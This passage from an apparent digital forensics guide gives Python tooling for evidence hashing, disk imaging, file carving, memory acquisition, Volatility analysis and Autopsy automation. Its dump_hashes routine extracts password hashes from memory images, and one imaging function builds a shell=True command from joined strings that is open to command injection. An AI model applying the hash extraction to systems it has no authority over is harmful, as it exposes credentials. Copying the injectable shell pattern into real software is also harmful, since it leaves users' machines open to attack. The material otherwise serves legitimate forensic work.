self.log_acquisition(\"HASH_CALCULATED\", f\"{alg}: {hashes[alg]}\")\n                \n            except Exception as e:\n                self.log_acquisition(\"HASH_ERROR\", f\"{alg}: {e}\")\n                \n        return hashes\n    \n    def create_write_blocker(self, device):\n        \"\"\"Ensure write blocker is active\"\"\"\n        \n        # Check if device is mounted read-only\n        try:\n            result = subprocess.run(['mount'], capture_output=True, text=True)\n            \n            for line in result.stdout.split('\\n'):\n                if device in line:\n                    if 'ro' in line:\n                        self.log_acquisition(\"WRITE_BLOCKER\", f\"Device {device} is read-only\")\n                        return True\n                    else:\n                        self.log_acquisition(\"WRITE_BLOCKER_WARNING\", f\"Device {device} is writable\")\n                        return False\n        except:\n            pass\n            \n        return False\n    \n    def capture_ram(self, output_file):\n        \"\"\"Capture RAM (requires appropriate tools)\"\"\"\n        \n        self.log_acquisition(\"RAM_CAPTURE_START\", f\"Output: {output_file}\")\n        \n        if platform.system() == 'Linux':\n            # Use LiME for Linux memory acquisition\n            cmd = ['sudo', 'insmod', 'lime.ko', f'path={output_file}', 'format=raw']\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                if result.returncode == 0:\n                    self.log_acquisition(\"RAM_CAPTURE_COMPLETE\", f\"RAM captured: {output_file}\")\n                    return True\n                else:\n                    self.log_acquisition(\"RAM_CAPTURE_ERROR\", result.stderr)\n                    return False\n                    \n            except Exception as e:\n                self.log_acquisition(\"RAM_CAPTURE_EXCEPTION\", str(e))\n                return False\n                \n        elif platform.system() == 'Windows':\n            # Use WinPmem for Windows\n            cmd = ['winpmem.exe', '-o', output_file]\n            \n            # Similar implementation\n            pass\n            \n        return False\n    \n    def verify_acquisition(self, image_file, original_hashes):\n        \"\"\"Verify acquired image against original hashes\"\"\"\n        \n        self.log_acquisition(\"VERIFICATION_START\", f\"Verifying {image_file}\")\n        \n        current_hashes = self.calculate_evidence_hash(image_file)\n        \n        verification_results = {}\n        all_match = True\n        \n        for alg, original_hash in original_hashes.items():\n            current_hash = current_hashes.get(alg)\n            matches = (current_hash == original_hash)\n            \n            verification_results[alg] = {\n                'original': original_hash,\n                'current': current_hash,\n                'matches': matches\n            }\n            \n            if not matches:\n                all_match = False\n                \n        self.log_acquisition(\"VERIFICATION_COMPLETE\", \n                           f\"All hashes match: {all_match}\")\n        \n        return {\n            'verified': all_match,\n            'results': verification_results\n        }\n    \n    def generate_report(self):\n        \"\"\"Generate acquisition report\"\"\"\n        \n        report = {\n            'case_number': self.case_number,\n            'examiner': self.examiner,\n            'acquisition_start': self.timestamp,\n            'acquisition_end': datetime.datetime.now().isoformat(),\n            'system_info': {\n                'hostname': platform.node(),\n                'os': platform.platform(),\n                'processor': platform.processor()\n            },\n            'acquisition_log': self.acquisition_log,\n            'total_entries': len(self.acquisition_log)\n        }\n        \n        return report\n    \n    def save_report(self, filename):\n        \"\"\"Save acquisition report\"\"\"\n        \n        report = self.generate_report()\n        \n        with open(filename, 'w') as f:\n            json.dump(report, f, indent=2)\n            \n        print(f\"[+] Acquisition report saved to {filename}\")\n        return filename\n\n# Example usage\nacquisition = EvidenceAcquisition(\"CASE-2024-001\", \"John Doe\")\n\n# Check write blocker\n# acquisition.create_write_blocker(\"/dev/sdb\")\n\n# Acquire disk image\n# acquisition.acquire_disk_image(\"/dev/sdb\", \"/evidence/case001.dd\", method=\"dcfldd\")\n\n# Save report\nacquisition.save_report(\"acquisition_report.json\")\n```\n\n### 22.2 Disk Imaging\n\nCreating forensically sound disk images is a critical step in digital investigations.\n\n#### 22.2.1 Disk Imaging Techniques\n\n```python\n#!/usr/bin/env python3\n# disk_imaging.py\n\nimport subprocess\nimport os\nimport hashlib\nimport json\nimport datetime\n\nclass DiskImaging:\n    def __init__(self):\n        self.image_formats = {\n            'raw': 'Raw disk image (dd format)',\n            'ewf': 'EnCase Evidence File format',\n            'aff': 'Advanced Forensic Format',\n            'vmdk': 'Virtual Machine Disk format',\n            'vhd': 'Virtual Hard Disk format',\n            'ex01': 'Expert Witness format'\n        }\n        \n    def create_raw_image(self, source, output, compression=False):\n        \"\"\"Create raw disk image using dd\"\"\"\n        \n        print(f\"[*] Creating raw image from {source} to {output}\")\n        \n        cmd = ['sudo', 'dd', f'if={source}', f'of={output}', 'bs=4M', 'conv=noerror,sync']\n        \n        if compression:\n            # Pipe through gzip\n            cmd = ['sudo', 'dd', f'if={source}', 'bs=4M', 'conv=noerror,sync', '|', 'gzip', '-c', '&gt;', f'{output}.gz']\n            \n        try:\n            result = subprocess.run(' '.join(cmd), shell=True, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                print(f\"[+] Raw image created: {output}\")\n                return True\n            else:\n                print(f\"[-] Error: {result.stderr}\")\n                return False\n                \n        except Exception as e:\n            print(f\"[-] Exception: {e}\")\n            return False\n    \n    def create_ewf_image(self, source, output_prefix, segments=2000):\n        \"\"\"Create EWF image using ewfacquire\"\"\"\n        \n        print(f\"[*] Creating EWF image: {output_prefix}\")\n        \n        cmd = ['sudo', 'ewfacquire', '-t', output_prefix, '-S', str(segments), source]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                print(f\"[+] EWF image created: {output_prefix}.E01\")\n                return True\n            else:\n                print(f\"[-] Error: {result.stderr}\")\n                return False\n                \n        except Exception as e:\n            print(f\"[-] Exception: {e}\")\n            return False\n    \n    def create_aff_image(self, source, output):\n        \"\"\"Create AFF image using afflib tools\"\"\"\n        \n        print(f\"[*] Creating AFF image: {output}\")\n        \n        cmd = ['sudo', 'aimage', source, output]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                print(f\"[+] AFF image created: {output}\")\n                return True\n            else:\n                print(f\"[-] Error: {result.stderr}\")\n                return False\n                \n        except Exception as e:\n            print(f\"[-] Exception: {e}\")\n            return False\n    \n    def verify_image(self, image_path, image_type='raw'):\n        \"\"\"Verify image integrity\"\"\"\n        \n        print(f\"[*] Verifying image: {image_path}\")\n        \n        if image_type == 'raw':\n            # For raw images, just check if readable\n            try:\n                with open(image_path, 'rb') as f:\n                    f.seek(0, os.SEEK_END)\n                    size = f.tell()\n                print(f\"[+] Image verified: {size} bytes\")\n                return True\n            except Exception as e:\n                print(f\"[-] Error: {e}\")\n                return False\n                \n        elif image_type == 'ewf':\n            cmd = ['ewfverify', image_path]\n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                return result.returncode == 0\n            except:\n                return False\n                \n        elif image_type == 'aff':\n            cmd = ['afverify', image_path]\n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                return result.returncode == 0\n            except:\n                return False\n    \n    def mount_image(self, image_path, mount_point, image_type='raw', offset=0):\n        \"\"\"Mount disk image for analysis\"\"\"\n        \n        print(f\"[*] Mounting {image_path} to {mount_point}\")\n        \n        os.makedirs(mount_point, exist_ok=True)\n        \n        if image_type == 'raw':\n            if offset &gt; 0:\n                cmd = ['sudo', 'mount', '-o', f'loop,offset={offset}', image_path, mount_point]\n            else:\n                cmd = ['sudo', 'mount', '-o', 'loop', image_path, mount_point]\n                \n        elif image_type == 'ewf':\n            # EWF images need to be mounted using ewfmount\n            cmd = ['sudo', 'ewfmount', image_path, mount_point]\n            \n        else:\n            print(f\"[-] Unsupported image type: {image_type}\")\n            return False\n            \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                print(f\"[+] Image mounted at {mount_point}\")\n                return True\n            else:\n                print(f\"[-] Mount failed: {result.stderr}\")\n                return False\n                \n        except Exception as e:\n            print(f\"[-] Exception: {e}\")\n            return False\n    \n    def unmount_image(self, mount_point):\n        \"\"\"Unmount image\"\"\"\n        \n        cmd = ['sudo', 'umount', mount_point]\n        \n        try:\n            subprocess.run(cmd, check=True)\n            print(f\"[+] Unmounted {mount_point}\")\n            os.rmdir(mount_point)\n            return True\n        except Exception as e:\n            print(f\"[-] Unmount failed: {e}\")\n            return False\n    \n    def get_image_info(self, image_path, image_type='raw'):\n        \"\"\"Get information about disk image\"\"\"\n        \n        info = {\n            'path': image_path,\n            'type': image_type,\n            'size': None,\n            'partitions': []\n        }\n        \n        if image_type == 'raw':\n            try:\n                info['size'] = os.path.getsize(image_path)\n                \n                # Try to get partition info using mmls\n                cmd = ['mmls', image_path]\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                if result.returncode == 0:\n                    lines = result.stdout.split('\\n')\n                    for line in lines:\n                        if 'Partition' in line or 'Primary' in line:\n                            info['partitions'].append(line)\n                            \n            except Exception as e:\n                print(f\"Error getting info: {e}\")\n                \n        return info\n    \n    def split_image(self, image_path, size_mb=2000):\n        \"\"\"Split large image into smaller chunks\"\"\"\n        \n        chunk_size = size_mb * 1024 * 1024\n        \n        try:\n            with open(image_path, 'rb') as f:\n                chunk_num = 1\n                while True:\n                    chunk = f.read(chunk_size)\n                    if not chunk:\n                        break\n                        \n                    chunk_file = f\"{image_path}.{chunk_num:03d}\"\n                    with open(chunk_file, 'wb') as cf:\n                        cf.write(chunk)\n                        \n                    print(f\"[+] Created chunk {chunk_num}: {chunk_file}\")\n                    chunk_num += 1\n                    \n            return True\n        except Exception as e:\n            print(f\"[-] Error splitting image: {e}\")\n            return False\n\n# Example usage\nimaging = DiskImaging()\n\n# Get image info\n# info = imaging.get_image_info(\"/evidence/case001.dd\")\n# print(json.dumps(info, indent=2))\n\n# Mount image\n# imaging.mount_image(\"/evidence/case001.dd\", \"/mnt/evidence\", offset=1048576)\n\n# Unmount when done\n# imaging.unmount_image(\"/mnt/evidence\")\n```\n\n#### 22.2.2 Partition Recovery and Carving\n\n```python\n#!/usr/bin/env python3\n# file_carving.py\n\nimport struct\nimport os\nimport re\n\nclass FileCarver:\n    def __init__(self):\n        self.file_signatures = {\n            'jpg': [(b'\\xff\\xd8\\xff', b'\\xff\\xd9')],\n            'png': [(b'\\x89PNG\\r\\n\\x1a\\n', b'IEND\\xaeB`\\x82')],\n            'gif': [(b'GIF87a', b'\\x00\\x3b'), (b'GIF89a', b'\\x00\\x3b')],\n            'pdf': [(b'%PDF', b'%%EOF')],\n            'zip': [(b'PK\\x03\\x04', b'PK\\x05\\x06')],\n            'rar': [(b'Rar!\\x1a\\x07\\x00', None)],\n            'doc': [(b'\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1', None)],  # OLE2\n            'xls': [(b'\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1', None)],\n            'ppt': [(b'\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1', None)],\n            'exe': [(b'MZ', b'\\x50\\x45\\x00\\x00')],  # PE header\n            'elf': [(b'\\x7fELF', None)],\n            'mp3': [(b'ID3', None), (b'\\xff\\xfb', None)],\n            'mp4': [(b'ftyp', b'moov')],\n            'avi': [(b'RIFF', b'AVI LIST')],\n            'bmp': [(b'BM', None)]\n        }\n        \n    def find_signatures(self, data, signature):\n        \"\"\"Find all occurrences of signature in data\"\"\"\n        \n        positions = []\n        offset = 0\n        \n        while True:\n            pos = data.find(signature, offset)\n            if pos == -1:\n                break\n            positions.append(pos)\n            offset = pos + 1\n            \n        return positions\n    \n    def carve_files(self, image_path, output_dir, file_types=None):\n        \"\"\"Carve files from disk image\"\"\"\n        \n        if file_types is None:\n            file_types = list(self.file_signatures.keys())\n            \n        os.makedirs(output_dir, exist_ok=True)\n        \n        carved_count = 0\n        \n        try:\n            with open(image_path, 'rb') as f:\n                data = f.read()\n                \n            for file_type in file_types:\n                if file_type not in self.file_signatures:\n                    continue\n                    \n                signatures = self.file_signatures[file_type]\n                \n                for header_sig, footer_sig in signatures:\n                    if not header_sig:\n                        continue\n                        \n                    # Find headers\n                    positions = self.find_signatures(data, header_sig)\n                    \n                    for i, start_pos in enumerate(positions):\n                        if footer_sig:\n                            # Look for footer after header\n                            footer_pos = data.find(footer_sig, start_pos + len(header_sig))\n                            if footer_pos != -1:\n                                end_pos = footer_pos + len(footer_sig)\n                                carved_data = data[start_pos:end_pos]\n                            else:\n                                # No footer found, use next header or end of file\n                                if i &lt; len(positions) - 1:\n                                    end_pos = positions[i + 1]\n                                else:\n                                    end_pos = len(data)\n                                carved_data = data[start_pos:end_pos]\n                        else:\n                            # No footer signature, use next header or end of file\n                            if i &lt; len(positions) - 1:\n                                end_pos = positions[i + 1]\n                            else:\n                                end_pos = len(data)\n                            carved_data = data[start_pos:end_pos]\n                            \n                        # Save carved file\n                        output_file = os.path.join(output_dir, f\"carved_{file_type}_{start_pos:08x}.{file_type}\")\n                        \n                        with open(output_file, 'wb') as cf:\n                            cf.write(carved_data)\n                            \n                        carved_count += 1\n                        print(f\"[+] Carved {file_type}: {output_file} ({len(carved_data)} bytes)\")\n                        \n        except Exception as e:\n            print(f\"[-] Error carving files: {e}\")\n            \n        return carved_count\n    \n    def recover_deleted_files(self, image_path, output_dir):\n        \"\"\"Recover deleted files using sleuthkit\"\"\"\n        \n        import subprocess\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        try:\n            # Get inode information\n            cmd = ['fls', '-r', '-p', image_path]\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            recovered_count = 0\n            \n            for line in result.stdout.split('\\n'):\n                if line.startswith('r/r') or line.startswith('d/d'):\n                    # Deleted file or directory\n                    parts = line.split()\n                    if len(parts) &gt;= 4:\n                        inode = parts[1].split(':')[0]\n                        filename = ' '.join(parts[3:])\n                        \n                        # Recover file\n                        output_file = os.path.join(output_dir, f\"recovered_{inode}_{filename.replace('/', '_')}\")\n                        cmd = ['icat', image_path, inode]\n                        \n                        with open(output_file, 'wb') as f:\n                            subprocess.run(cmd, stdout=f)\n                            \n                        recovered_count += 1\n                        print(f\"[+] Recovered: {filename} (inode {inode})\")\n                        \n            return recovered_count\n            \n        except Exception as e:\n            print(f\"[-] Error recovering deleted files: {e}\")\n            return 0\n    \n    def carve_by_pattern(self, image_path, output_dir, pattern, extension, min_size=0):\n        \"\"\"Carve files based on regex pattern\"\"\"\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        try:\n            with open(image_path, 'rb') as f:\n                data = f.read()\n                \n            # Find pattern matches\n            matches = re.finditer(pattern, data)\n            \n            carved_count = 0\n            for match in matches:\n                start_pos = match.start()\n                end_pos = match.end()\n                \n                # Try to find natural boundaries\n                # For text files, look for line endings\n                # For binary files, look for size indicators\n                \n                carved_data = data[start_pos:end_pos]\n                \n                if len(carved_data) &gt;= min_size:\n                    output_file = os.path.join(output_dir, f\"pattern_{start_pos:08x}.{extension}\")\n                    \n                    with open(output_file, 'wb') as cf:\n                        cf.write(carved_data)\n                        \n                    carved_count += 1\n                    print(f\"[+] Carved pattern at {start_pos:08x}: {output_file}\")\n                    \n            return carved_count\n            \n        except Exception as e:\n            print(f\"[-] Error carving patterns: {e}\")\n            return 0\n\n# Example usage\ncarver = FileCarver()\n\n# Carve specific file types\n# carved = carver.carve_files(\"/evidence/case001.dd\", \"/evidence/carved\", ['jpg', 'png', 'pdf'])\n\n# Recover deleted files\n# recovered = carver.recover_deleted_files(\"/evidence/case001.dd\", \"/evidence/recovered\")\n\n# Carve by pattern (e.g., email addresses)\n# pattern = rb'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'\n# carved = carver.carve_by_pattern(\"/evidence/case001.dd\", \"/evidence/emails\", pattern, \"txt\")\n```\n\n### 22.3 Memory Analysis\n\nMemory analysis examines RAM to find running processes, network connections, encryption keys, and other volatile data.\n\n#### 22.3.1 Memory Acquisition\n\n```python\n#!/usr/bin/env python3\n# memory_acquisition.py\n\nimport subprocess\nimport os\nimport platform\nimport datetime\n\nclass MemoryAcquisition:\n    def __init__(self):\n        self.methods = {\n            'windows': ['winpmem', 'ftk_imager', 'dumpit'],\n            'linux': ['lime', 'fmem', 'avml'],\n            'macos': ['osxpmem', 'volatilitux']\n        }\n        \n    def acquire_linux_memory(self, output_file, method='lime'):\n        \"\"\"Acquire memory from Linux system\"\"\"\n        \n        print(f\"[*] Acquiring Linux memory to {output_file} using {method}\")\n        \n        if method == 'lime':\n            # LiME - Linux Memory Extractor\n            cmd = ['sudo', 'insmod', 'lime.ko', f'path={output_file}', 'format=raw']\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n                if result.returncode == 0:\n                    print(f\"[+] Memory acquired: {output_file}\")\n                    \n                    # Remove module\n                    subprocess.run(['sudo', 'rmmod', 'lime'])\n                    \n                    return True\n                else:\n                    print(f\"[-] Error: {result.stderr}\")\n                    return False\n                    \n            except Exception as e:\n                print(f\"[-] Exception: {e}\")\n                return False\n                \n        elif method == 'avml':\n            # AVML - Acquire Volatile Memory for Linux\n            cmd = ['./avml', output_file]\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                return result.returncode == 0\n            except:\n                return False\n                \n        return False\n    \n    def acquire_windows_memory(self, output_file, method='winpmem'):\n        \"\"\"Acquire memory from Windows system\"\"\"\n        \n        print(f\"[*] Acquiring Windows memory to {output_file} using {method}\")\n        \n        if method == 'winpmem':\n            cmd = ['winpmem.exe', '-o', output_file]\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                return result.returncode == 0\n            except:\n                return False\n                \n        elif method == 'dumpit':\n            cmd = ['DumpIt.exe', '/OUTPUT', output_file]\n            \n            try:\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                return result.returncode == 0\n            except:\n                return False\n                \n        return False\n    \n    def acquire_macos_memory(self, output_file):\n        \"\"\"Acquire memory from macOS system\"\"\"\n        \n        cmd = ['sudo', 'osxpmem', '-o', output_file]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.returncode == 0\n        except:\n            return False\n    \n    def capture_volatile_data(self):\n        \"\"\"Capture volatile system information\"\"\"\n        \n        volatile_data = {\n            'timestamp': datetime.datetime.now().isoformat(),\n            'hostname': platform.node(),\n            'os': platform.platform()\n        }\n        \n        # Capture running processes\n        if platform.system() == 'Windows':\n            import psutil\n            processes = []\n            for proc in psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent']):\n                processes.append(proc.info)\n            volatile_data['processes'] = processes\n            \n            # Network connections\n            connections = []\n            for conn in psutil.net_connections():\n                connections.append({\n                    'fd': conn.fd,\n                    'family': str(conn.family),\n                    'type': str(conn.type),\n                    'laddr': str(conn.laddr),\n                    'raddr': str(conn.raddr),\n                    'status': conn.status,\n                    'pid': conn.pid\n                })\n            volatile_data['connections'] = connections\n            \n        elif platform.system() == 'Linux':\n            # Use /proc filesystem\n            processes = []\n            for pid in os.listdir('/proc'):\n                if pid.isdigit():\n                    try:\n                        with open(f'/proc/{pid}/cmdline', 'r') as f:\n                            cmdline = f.read().replace('\\x00', ' ')\n                        processes.append({'pid': pid, 'cmdline': cmdline})\n                    except:\n                        pass\n            volatile_data['processes'] = processes\n            \n        return volatile_data\n    \n    def verify_memory_dump(self, dump_file):\n        \"\"\"Verify memory dump integrity\"\"\"\n        \n        try:\n            size = os.path.getsize(dump_file)\n            print(f\"[+] Memory dump size: {size} bytes\")\n            \n            # Check for common memory signatures\n            with open(dump_file, 'rb') as f:\n                data = f.read(4096)\n                \n            if b'Linux' in data or b'lime' in data or b'Windows' in data:\n                print(\"[+] Memory dump appears valid\")\n                return True\n                \n        except Exception as e:\n            print(f\"[-] Error verifying dump: {e}\")\n            \n        return False\n\n# Example usage\nmem_acq = MemoryAcquisition()\n\n# Acquire memory based on platform\nif platform.system() == 'Linux':\n    mem_acq.acquire_linux_memory('/evidence/memory.lime', 'lime')\nelif platform.system() == 'Windows':\n    mem_acq.acquire_windows_memory('/evidence/memory.raw', 'winpmem')\n\n# Capture volatile data\nvolatile = mem_acq.capture_volatile_data()\nprint(json.dumps(volatile, indent=2, default=str))\n```\n\n#### 22.3.2 Memory Analysis with Volatility\n\n```python\n#!/usr/bin/env python3\n# volatility_analysis.py\n\nimport subprocess\nimport json\nimport os\nimport re\n\nclass VolatilityAnalysis:\n    def __init__(self, memory_file):\n        self.memory_file = memory_file\n        self.profile = None\n        \n    def detect_profile(self):\n        \"\"\"Detect memory profile using imageinfo\"\"\"\n        \n        print(\"[*] Detecting memory profile...\")\n        \n        cmd = ['volatility', '-f', self.memory_file, 'imageinfo']\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                for line in result.stdout.split('\\n'):\n                    if 'Suggested Profile(s)' in line:\n                        profiles = line.split(':')[1].strip().split(',')\n                        self.profile = profiles[0].strip()\n                        print(f\"[+] Detected profile: {self.profile}\")\n                        return self.profile\n        except Exception as e:\n            print(f\"[-] Error detecting profile: {e}\")\n            \n        return None\n    \n    def run_command(self, plugin, args=None):\n        \"\"\"Run volatility command\"\"\"\n        \n        if not self.profile:\n            self.detect_profile()\n            \n        cmd = ['volatility', '-f', self.memory_file, f'--profile={self.profile}', plugin]\n        \n        if args:\n            cmd.extend(args.split())\n            \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"[-] Error running {plugin}: {e}\")\n            return None\n    \n    def list_processes(self):\n        \"\"\"List running processes\"\"\"\n        \n        print(\"[*] Listing processes...\")\n        \n        output = self.run_command('pslist')\n        \n        processes = []\n        for line in output.split('\\n')[1:]:\n            if line.strip():\n                parts = line.split()\n                if len(parts) &gt;= 5:\n                    processes.append({\n                        'pid': parts[2],\n                        'name': parts[3],\n                        'offset': parts[1],\n                        'threads': parts[4]\n                    })\n                    \n        return processes\n    \n    def list_connections(self):\n        \"\"\"List network connections\"\"\"\n        \n        print(\"[*] Listing network connections...\")\n        \n        output = self.run_command('connections')\n        \n        connections = []\n        for line in output.split('\\n')[1:]:\n            if line.strip() and 'Offset' not in line:\n                parts = line.split()\n                if len(parts) &gt;= 5:\n                    connections.append({\n                        'offset': parts[0],\n                        'local': parts[2],\n                        'remote': parts[3],\n                        'pid': parts[4]\n                    })\n                    \n        return connections\n    \n    def dump_process(self, pid, output_dir):\n        \"\"\"Dump process memory\"\"\"\n        \n        print(f\"[*] Dumping process {pid}\")\n        \n        os.makedirs(output_dir, exist_ok=True)\n        output_file = os.path.join(output_dir, f\"process.{pid}.dmp\")\n        \n        args = f'--pid={pid} -D {output_dir}'\n        self.run_command('memdump', args)\n        \n        # Find the dumped file\n        for file in os.listdir(output_dir):\n            if file.endswith(f'.{pid}.dmp'):\n                return os.path.join(output_dir, file)\n                \n        return None\n    \n    def list_files(self):\n        \"\"\"List files in memory\"\"\"\n        \n        print(\"[*] Listing files...\")\n        \n        output = self.run_command('filescan')\n        \n        files = []\n        for line in output.split('\\n')[1:]:\n            if line.strip() and '.exe' in line or '.dll' in line or '.sys' in line:\n                parts = line.split()\n                if len(parts) &gt;= 2:\n                    files.append({\n                        'offset': parts[0],\n                        'path': parts[1]\n                    })\n                    \n        return files\n    \n    def dump_hashes(self):\n        \"\"\"Dump password hashes\"\"\"\n        \n        print(\"[*] Dumping password hashes...\")\n        \n        output = self.run_command('hashdump')\n        \n        hashes = []\n        for line in output.split('\\n'):\n            if line.strip() and ':' in line:\n                hashes.append(line.strip())\n                \n        return hashes\n    \n    def get_cmdline(self):\n        \"\"\"Get command line history\"\"\"\n        \n        print(\"[*] Getting command line history...\")\n        \n        output = self.run_command('cmdline')\n        \n        commands = []\n        for line in output.split('\\n'):\n            if line.strip():\n                commands.append(line.strip())\n                \n        return commands\n    \n    def scan_malware(self):\n        \"\"\"Scan for malware indicators\"\"\"\n        \n        print(\"[*] Scanning for malware...\")\n        \n        # Look for hidden processes\n        psxview = self.run_command('psxview')\n        \n        # Look for API hooks\n        apihooks = self.run_command('apihooks')\n        \n        # Look for injected code\n        malfind = self.run_command('malfind')\n        \n        return {\n            'psxview': psxview,\n            'apihooks': apihooks,\n            'malfind': malfind\n        }\n    \n    def extract_registry(self, output_dir):\n        \"\"\"Extract registry hives\"\"\"\n        \n        print(\"[*] Extracting registry hives...\")\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        # Find registry hives\n        output = self.run_command('hivelist')\n        \n        hives = []\n        for line in output.split('\\n')[1:]:\n            if line.strip():\n                parts = line.split()\n                if len(parts) &gt;= 3:\n                    hives.append({\n                        'offset': parts[0],\n                        'name': parts[2]\n                    })\n                    \n        # Dump each hive\n        for hive in hives:\n            output_file = os.path.join(output_dir, f\"registry_{hive['name'].replace('\\\\', '_')}\")\n            args = f'-o {hive[\"offset\"]} -D {output_dir}'\n            self.run_command('dumpregistry', args)\n            \n        return hives\n    \n    def generate_report(self, output_dir):\n        \"\"\"Generate comprehensive memory analysis report\"\"\"\n        \n        print(\"[*] Generating memory analysis report...\")\n        \n        os.makedirs(output_dir, exist_ok=True)\n        \n        report = {\n            'profile': self.profile,\n            'processes': self.list_processes(),\n            'connections': self.list_connections(),\n            'hashes': self.dump_hashes(),\n            'commands': self.get_cmdline()\n        }\n        \n        # Save JSON report\n        with open(os.path.join(output_dir, 'memory_analysis.json'), 'w') as f:\n            json.dump(report, f, indent=2, default=str)\n            \n        # Save raw outputs\n        plugins = ['pslist', 'connections', 'cmdline', 'hashdump', 'filescan', 'malfind']\n        \n        for plugin in plugins:\n            output = self.run_command(plugin)\n            with open(os.path.join(output_dir, f'{plugin}.txt'), 'w') as f:\n                f.write(output)\n                \n        print(f\"[+] Report saved to {output_dir}\")\n        \n        return report\n\n# Example usage\nanalysis = VolatilityAnalysis('/evidence/memory.dmp')\n\n# Detect profile\nprofile = analysis.detect_profile()\n\nif profile:\n    # List processes\n    processes = analysis.list_processes()\n    print(f\"[+] Found {len(processes)} processes\")\n    \n    # Dump hashes\n    hashes = analysis.dump_hashes()\n    print(f\"[+] Found {len(hashes)} hashes\")\n    \n    # Generate full report\n    analysis.generate_report('/evidence/analysis')\n```\n\n---\n\n## Chapter 23 \u2014 Forensics Tools\n\nThis chapter covers essential forensic tools for digital investigations, from open-source solutions to commercial platforms.\n\n### 23.1 Autopsy\n\nAutopsy is a digital forensics platform and graphical interface to The Sleuth Kit, providing comprehensive analysis capabilities.\n\n#### 23.1.1 Autopsy Integration and Automation\n\n```python\n#!/usr/bin/env python3\n# autopsy_automation.py\n\nimport subprocess\nimport os\nimport json\nimport sqlite3\nimport datetime\n\nclass AutopsyAutomation:\n    def __init__(self, case_path=None):\n        self.case_path = case_path\n        self.tsk_path = '/usr/bin/'\n        \n    def create_case(self, case_name, case_path):\n        \"\"\"Create new Autopsy case\"\"\"\n        \n        print(f\"[*] Creating case: {case_name}\")\n        \n        # Autopsy stores cases in specific directory structure\n        case_dir = os.path.join(case_path, case_name)\n        os.makedirs(case_dir, exist_ok=True)\n        \n        # Create case database\n        db_path = os.path.join(case_dir, f\"{case_name}.db\")\n        \n        conn = sqlite3.connect(db_path)\n        cursor = conn.cursor()\n        \n        # Create case metadata table\n        cursor.execute('''\n            CREATE TABLE case_info (\n                id INTEGER PRIMARY KEY,\n                case_name TEXT,\n                created TEXT,\n                examiner TEXT,\n                description TEXT\n            )\n        ''')\n        \n        cursor.execute('''\n            INSERT INTO case_info (case_name, created, examiner, description)\n            VALUES (?, ?, ?, ?)\n        ''', (case_name, datetime.datetime.now().isoformat(), 'examiner', 'Automated case'))\n        \n        conn.commit()\n        conn.close()\n        \n        print(f\"[+] Case created at {case_dir}\")\n        return case_dir\n    \n    def add_image(self, case_dir, image_path):\n        \"\"\"Add disk image to case\"\"\"\n        \n        print(f\"[*] Adding image to case: {image_path}\")\n        \n        # In Autopsy, images are managed through the GUI\n        # This is a simplified version using tsk_loaddb\n        \n        db_path = os.path.join(case_dir, os.path.basename(case_dir) + \".db\")\n        \n        # Use tsk_loaddb to load image into database\n        cmd = ['tsk_loaddb', '-d', db_path, image_path]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                print(f\"[+] Image added to case database\")\n                return True\n            else:\n                print(f\"[-] Error: {result.stderr}\")\n                return False\n        except Exception as e:\n            print(f\"[-] Exception: {e}\")\n            return False\n    \n    def run_ingest_modules(self, case_dir, modules=None):\n        \"\"\"Run ingest modules on case\"\"\"\n        \n        if modules is None:\n            modules = ['hashdb', 'exif', 'keyword_search']\n            \n        print(f\"[*] Running ingest modules: {modules}\")\n        \n        db_path = os.path.join(case_dir, os.path.basename(case_dir) + \".db\")\n        \n        # This would need to call Autopsy's ingest modules\n        # Simplified version using tsk_analyze\n        \n        for module in modules:\n            print(f\"  Running {module}...\")\n            # Implementation would depend on specific modules\n            \n        return True\n    \n    def extract_files(self, case_dir, output_dir, file_types=None):\n        \"\"\"Extract files of specific types\"\"\"\n        \n        print(f\"[*] Extracting files to {output_dir}\")\n        \n        db_path = os.path.join(case_dir, os.path.basename(case_dir) + \".db\")\n        \n        conn = sqlite3.connect(db_path)\n        cursor = conn.cursor()\n        \n        # Query files based on extension\n        if file_types:\n            placeholders = ','.join(['?'] * len(file_types))\n            query = f\"SELECT name, meta_addr, inode FROM tsk_files WHERE name LIKE ?\"\n            \n            for file_type in file_types:\n                cursor.execute(query, (f'%.{file_type}',))\n                files = cursor.fetchall()\n                \n                for file_info in files:\n                    name, meta_addr, inode = file_info\n                    print(f\"  Found: {name} (inode: {inode})\")\n                    \n                    # Extract file using icat\n                    output_file = os.path.join(output_dir, f\"{inode}_{name}\")\n                    cmd = ['icat', db_path, str(inode)]\n                    \n                    with open(output_file, 'wb') as f:\n                        subprocess.run(cmd, stdout=f)\n                        \n        conn.close()\n        \n        return True\n    \n    def keyword_search(self, case_dir, keywords, output_file):\n        \"\"\"Search for keywords in case\"\"\"\n        \n        print(f\"[*] Searching for keywords: {keywords}\")\n        \n        db_path = os.path.join(case_dir, 